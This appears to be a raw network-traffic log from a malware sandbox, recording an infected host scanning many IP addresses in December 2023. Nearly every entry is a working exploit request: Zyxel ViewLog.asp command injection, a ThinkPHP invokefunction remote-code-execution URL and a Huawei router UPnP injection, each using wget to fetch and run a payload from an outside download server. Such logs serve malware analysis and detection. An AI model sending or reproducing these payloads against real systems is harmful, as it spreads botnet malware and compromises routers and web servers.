Dec 26, 2023 21:25:48.196439981 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.23	48198	95.98.164.166	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:49.849174023 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:50.096817970 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Tue, 26 Dec 2023 20:25:49 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.23	41732	88.153.194.149	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:50.099353075 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:50.350326061 CET	498	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:50 GMT Server: Apache/2.4.57 (Debian) Content-Length: 304 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 37 32 2e 31 38 2e 32 33 38 2e 35 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.57 (Debian) Server at 172.18.238.5 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.23	41260	94.121.31.105	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:50.820677996 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.23	45608	94.122.83.232	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:50.820760965 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.23	37574	31.200.91.233	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:51.098654032 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.23	47854	94.123.142.172	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:51.375858068 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.23	33056	94.121.50.23	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:51.815196991 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.23	38856	62.29.10.8	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:51.815352917 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.23	47016	94.123.176.202	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:51.817672014 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.23	33462	94.123.32.138	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:52.385837078 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.23	52482	41.47.78.155	37215

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:53.306695938 CET	826	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 31 2e 39 38 2e 31 30 2e 34 37 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 141.98.10.47 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 26, 2023 21:25:53.608535051 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.23	34816	94.138.187.210	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:53.665925026 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:01.862659931 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.23	34786	112.184.58.133	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:53.728713036 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:54.089200974 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:53 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.23	44706	88.198.164.107	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:53.982202053 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:54.240673065 CET	461	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:54 GMT Server: Apache Content-Length: 283 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 64 65 66 61 75 6c 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache Server at default Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.23	37558	88.99.235.157	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:53.984033108 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:54.232914925 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:53 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.23	33926	88.198.142.47	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:53.984137058 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:54.234777927 CET	507	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:57 GMT Server: Apache/2.4.56 (Debian) Content-Length: 313 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 70 72 6f 6a 65 6b 74 65 2e 76 65 6e 74 75 72 6f 69 74 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at projekte.venturoit.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.23	40506	88.84.22.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:53.992022991 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:54.254823923 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:54 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.23	41418	112.135.238.213	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:54.812886953 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:58.023308039 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:58.456228018 CET	83	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: RomPager/4.07 UPnP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.23	47252	94.121.140.104	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:54.973310947 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.23	33372	62.210.102.183	8080

Timestamp	Bytes transferred	Direction	Data
